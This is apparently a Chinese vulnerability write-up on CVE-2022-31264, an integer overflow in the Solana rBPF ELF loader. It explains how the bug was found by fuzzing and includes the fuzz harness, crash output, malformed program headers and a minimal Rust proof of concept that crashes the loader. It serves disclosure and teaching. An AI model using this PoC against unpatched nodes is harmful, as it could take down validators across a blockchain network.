CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程

区块链安全 2年前 (2022) admin
667 0 0
别忘了
CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程
  星标我!


本文内容受Addison Crump的文章:Earn $200K by fuzzing for a weekend[1]启发,其讲述了使用libFuzzer对Solana rBPF虚拟机指令集进行Fuzzing的全过程。




CVE-2022-31264 漏洞概要


在Solana rBPF ≤v0.2.28版本的elf文件解析模块中存在一个整数溢出漏洞,在解析elf地址内存映射时由于没有对段的VirtAddrMemSiz的大小进行校验而导致两者相加时发生了溢出。


恶意用户可以通过部署构造过的eBPF程序(即Solana上的智能合约)触发该整数溢出漏洞,导致合约虚拟机运行时panic,造成节点崩溃,由于区块链是分布式系统,此漏洞将导致一次攻击、全链宕机,危害十分严重。




Solana rBPF是什么


在目前的区块链公链体系中,除了比特币、以太坊等王牌生态外,Solana生态是一个独特的生态。Solana是一条以高性能著称的公链,支持运行由Rust等高级语言编译得到的eBPF字节码程序,其Solana rBPF子项目实现了链上的eBPF字节码虚拟机。Solana的画风清奇,使用截然不同的共识算法与虚拟机技术,不与任何链兼容,在公链家族中就像是一个格格不入但又让人无法忽视的存在。


CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程


Solana rBPF项目有一个非常显著的特点:其中同时实现了一个普通的eBPF字节码解释器与一个eBPF字节码的JIT编译器。也就是说,rBPF虚拟机有两个功能完全相同的、但是由项目方分别编写的虚拟机模块。理论上来说,rBPF虚拟机的这两种实现(JIT模式与普通解释器模式)应当有完全一致的运行时行为。




为何选择对它Fuzzing


Fuzzing技术是一种已在大型系统软件中得到广泛使用的软件测试技术与漏洞挖掘方法,Fuzzer通过不断地变异程序的输入与观察程序对应的运行状态,自动化地生成触发程序异常状态的输入。在Fuzzing过程中,有两个主要的步骤:变异程序的输入使得该输入更有可能触发待测程序的异常状态、判断该输入是否使得待测程序进入了某种异常状态。目前各类的通用Fuzzer都会使用各类变异算法提高Fuzzer的效率,但是在判断程序的异常状态时,通常都是以程序发生溢出、段错误等内存异常为标准。


对于Fuzzing来说,Solana rBPF是一个不可多得的测试场景,因为该项目自身就附带了两个功能完全一致的rBPF虚拟机模块,默认附赠了一个精准的判断程序的异常状态的标尺:对于同样的程序输入,若两个模块运行后内存、寄存器等状态不一致,那么必然某一个模块发生了问题。同时,Solana项目全栈都使用Rust语言开发,与Rust生态中已用的工具链无缝衔接,包括众多优秀的Fuzzer。使用这样两个功能相同但实现不同的模块相互对照着Fuzz的思路,Addison Crump[1]使用通用libFuzzer挖掘到了两个JIT侧的漏洞。


在学习了作者Addison Crump的思路后,笔者对rBPF虚拟机的loader模块进行了额外的测试,发现一个被原作者遗漏的整数溢出漏洞




挖掘过程


1.首先切换到未修补的commit:git checkout 3896feae6b81ca273ea2b8c96b23ac5594fd31a4
2. 在fuzz目录下的cargo.toml里加一个二进制目标fuzz-loader,并在fuzz_targets下新增一个文件fuzz_loader.rs


#![no_main]
use std::collections::BTreeMap;
use libfuzzer_sys::fuzz_target;
use solana_rbpf::{ ebpf, elf::{register_bpf_function, Executable}, error::{EbpfError, UserDefinedError}, insn_builder::IntoBytes, memory_region::MemoryRegion, static_analysis::Analysis, user_error::UserError, verifier::check, vm::{EbpfVm, InstructionMeter, Config, SyscallRegistry, TestInstructionMeter},};
fuzz_target!(|data: &[u8]| { let _x = Executable::<UserError, TestInstructionMeter>::load( Config::default(), &data, SyscallRegistry::default() );}

   

3.准备默认的初始种子:cd corpus/fuzz-loader/ && cp ../../../tests/elfs/*.so

4.开始fuzz并得到crash样本


cargo +nightly fuzz run fuzz-loader --jobs 8 -- -max_total_time=24400...thread '<unnamed>' panicked at 'attempt to add with overflow', /home/ubuntu/.cargo/registry/src/mirrors.sjtug.sjtu.edu.cn-7a04d2510079875b/goblin-0.5.1/src/elf/program_header.rs:132:36note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace==40247== ERROR: libFuzzer: deadly signal    #0 0x55e7ed38cbd1  (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0x56ebd1) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)    #1 0x55e7edc161c0  (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xdf81c0) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)    #2 0x55e7edc1ccaa  (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xdfecaa) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)    #3 0x7f3f68ed941f  (/lib/x86_64-linux-gnu/libpthread.so.0+0x1441f) (BuildId: 7b4536f41cdaa5888408e82d0836e33dcf436466)    #4 0x7f3f68bbf00a  (/lib/x86_64-linux-gnu/libc.so.6+0x4300a) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)    #5 0x7f3f68b9e858  (/lib/x86_64-linux-gnu/libc.so.6+0x22858) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee)    #6 0x55e7edcc5076  (/home/ubuntu/rbpf/fuzz/target/x86_64-unknown-linux-gnu/release/fuzz-loader+0xea7076) (BuildId: 04c3aeb45f9e635d8f36b20de970f7bdb030048a)...


5.分析crash的调用栈后发现是在goblin模块中发生了panic,是加法溢出


/// Returns this program header's virtual memory rangepub fn vm_range(&self) -> Range<usize> {    self.p_vaddr as usize..self.p_vaddr as usize + self.p_memsz as usize}


6.分析crash的样本后发现是ELF文件头中VirtAddr + MemSiz的时候溢出了


$ readelf -l crash...
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000001000 0xff00000100000000 0x0000000100000000 0x0000000000000018 0xff00000000000018 R E 0x1000 LOAD 0x0000000000001018 0x0000000100000018 0x0000000100000018 0x000000000000000b 0x000000000000000b R 0x1000


7.与crash样本等效的最小的poc如下



use solana_rbpf::{ elf::Executable, user_error::UserError, vm::{SyscallRegistry, TestInstructionMeter, Config},};
use std::io::Read;
fn main() { let mut config = Config::default(); config.reject_broken_elfs = true; let mut file = std::fs::File::open("./tests/elfs/reloc_64_relative_high_vaddr.so").expect("open failed"); let mut buffer: Vec<u8> = vec![]; file.read_to_end(&mut buffer).expect("read failed"); buffer[80+7] = 0xff; buffer[96+15] = 0xff; Executable::<UserError, TestInstructionMeter>::load(config,&buffer,SyscallRegistry::default()); /* thread 'main' panicked at 'attempt to add with overflow', goblin/src/elf/program_header.rs:132:36 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace */}


8.报告给项目方后修复,漏洞编号CVE-2022-31264



总结


在区块链场景中使用Fuzzing方法对区块链系统进行测试可以工作在多个层次:若挖掘智能合约漏洞,则Fuzzing的目标是智能合约程序;若挖掘智能合约虚拟机漏洞,则Fuzzing的目标为智能合约虚拟机程序。


在挖掘智能合约漏洞的场景下,Fuzzing技术的运用与使用通用Fuzzing的过程类似,但是在异常状态判定时会与传统可执行程序的crash不同,通常一些storage变量存储发生改变往往就预示着潜在的漏洞。


在挖掘智能合约虚拟机漏洞的场景下,可以使用同一虚拟机的不同实现来进行对比Fuzz。这一点,由于区块链虚拟机分布式去中心化的特点,相同功能的一个虚拟机啊通常都会有不同语言、不同版本的不同实现,如以太坊虚拟机EVM拥有众多不同语言的实现,这些不同实现之间可以互为对照,通过使用通用Fuzzer来直接取得比较好的测试效果。


参考文章

[1] Earn $200K by fuzzing for a weekend: Part 1 https://secret.club/2022/05/11/fuzzing-solana.html


CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程
点分享
CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程
点收藏
CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程
点点赞
CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程
点在看

原文始发于微信公众号(长亭技术沙盒):CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程

版权声明:admin 发表于 2022年9月21日 下午6:22。
转载请注明:CVE-2022-31264 Solana全链宕机漏洞及rBPF Fuzzing挖洞过程 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...